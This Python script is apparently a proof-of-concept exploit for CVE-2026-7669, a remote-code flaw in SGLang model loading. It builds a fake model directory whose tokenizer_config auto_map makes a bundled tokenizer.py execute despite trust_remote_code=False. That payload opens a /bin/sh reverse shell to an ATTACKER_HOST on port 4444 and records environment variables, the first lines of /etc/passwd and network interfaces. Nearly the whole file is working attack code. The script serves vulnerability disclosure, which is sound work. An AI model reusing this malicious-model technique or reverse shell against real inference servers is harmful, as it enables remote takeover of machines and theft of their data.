"""Build the malicious model directory used by the PoC."""
import json
import os
import torch
from safetensors.torch import save_file
MODEL_DIR = "/poc/malicious_model"
PROOF_FILE = "/tmp/sglang_poc_proof.txt"
def create_model():
os.makedirs(MODEL_DIR, exist_ok=True)
tensors = {"weight": torch.zeros(1, 1)}
save_file(tensors, os.path.join(MODEL_DIR, "model.safetensors"))
# model_type must be in transformers' TOKENIZER_MAPPING_NAMES so the first
# from_pretrained call does not raise. "gpt2" works.
config = {
"architectures": ["GPT2LMHeadModel"],
"model_type": "gpt2",
"n_embd": 1,
"n_head": 1,
"n_layer": 1,
"vocab_size": 100,
}
with open(os.path.join(MODEL_DIR, "config.json"), "w") as f:
json.dump(config, f)
# Custom tokenizer_class forces TokenizersBackend on the first call.
# auto_map provides the .py reference loaded on the silent retry.
tokenizer_config = {
"tokenizer_class": "MaliciousTokenizer",
"auto_map": {
"AutoTokenizer": [
"tokenizer.MaliciousTokenizer",
"tokenizer.MaliciousTokenizer",
]
},
}
with open(os.path.join(MODEL_DIR, "tokenizer_config.json"), "w") as f:
json.dump(tokenizer_config, f)
tokenizer_json = {
"version": "1.0",
"model": {
"type": "BPE",
"vocab": {"": 0, "": 1, "": 2},
"merges": [],
},
"added_tokens": [],
}
with open(os.path.join(MODEL_DIR, "tokenizer.json"), "w") as f:
json.dump(tokenizer_json, f)
tokenizer_code = f'''import datetime
import os
import socket
import subprocess
import sys
PROOF_FILE = "{PROOF_FILE}"
with open(PROOF_FILE, "w") as f:
f.write("CVE-2026-7669 proof of execution\\n")
f.write("=" * 60 + "\\n")
f.write(f"Timestamp: {{datetime.datetime.now().isoformat()}}\\n")
f.write(f"PID: {{os.getpid()}}\\n")
f.write(f"UID: {{os.getuid()}}\\n")
f.write(f"User: {{os.environ.get('USER', 'unknown')}}\\n")
f.write(f"Hostname: {{socket.gethostname()}}\\n")
f.write(f"CWD: {{os.getcwd()}}\\n")
f.write(f"Python: {{sys.executable}}\\n")
f.write(f"Argv: {{sys.argv}}\\n\\n")
f.write("Environment variables:\\n")
for key in sorted(os.environ):
if any(s in key.upper() for s in ["PATH", "HOME", "USER", "CUDA", "GPU", "MODEL"]):
f.write(f" {{key}}={{os.environ[key]}}\\n")
f.write("\\nExecuted despite trust_remote_code=False being passed by the caller.\\n")
print("[!] PAYLOAD EXECUTED: tokenizer.py ran with trust_remote_code=True")
ATTACKER_HOST = os.environ.get("ATTACKER_HOST")
ATTACKER_PORT = os.environ.get("ATTACKER_PORT", "4444")
if ATTACKER_HOST:
print(f"[!] REVERSE SHELL: connecting to {{ATTACKER_HOST}}:{{ATTACKER_PORT}}")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_HOST, int(ATTACKER_PORT)))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
except Exception as e:
print(f"[!] Reverse shell failed: {{e}}")
with open(PROOF_FILE, "a") as f:
f.write("\\n--- exfil demo ---\\n")
try:
with open("/etc/passwd") as p:
f.write("/etc/passwd (first 5 lines):\\n")
for i, line in enumerate(p):
if i >= 5:
break
f.write(f" {{line}}")
except Exception as e:
f.write(f" could not read /etc/passwd: {{e}}\\n")
for dev in ["/dev/nvidia0", "/dev/dri/renderD128", "/dev/kfd"]:
f.write(f"\\n{{dev}}: {{'EXISTS' if os.path.exists(dev) else 'not found'}}\\n")
try:
r = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=5)
if r.returncode == 0:
f.write("\\nNetwork interfaces:\\n")
f.write(r.stdout[:500])
except Exception:
pass
from transformers import PreTrainedTokenizerFast
from tokenizers import Tokenizer, models
class MaliciousTokenizer(PreTrainedTokenizerFast):
def __init__(self, *args, **kwargs):
tok = Tokenizer(models.BPE())
tok.add_tokens(["", "", ""])
kwargs.pop("tokenizer_object", None)
kwargs.pop("vocab_file", None)
kwargs.pop("merges_file", None)
super().__init__(*args, tokenizer_object=tok, **kwargs)
'''
with open(os.path.join(MODEL_DIR, "tokenizer.py"), "w") as f:
f.write(tokenizer_code)
print(f"[*] Malicious model created at {MODEL_DIR}")
if __name__ == "__main__":
create_model()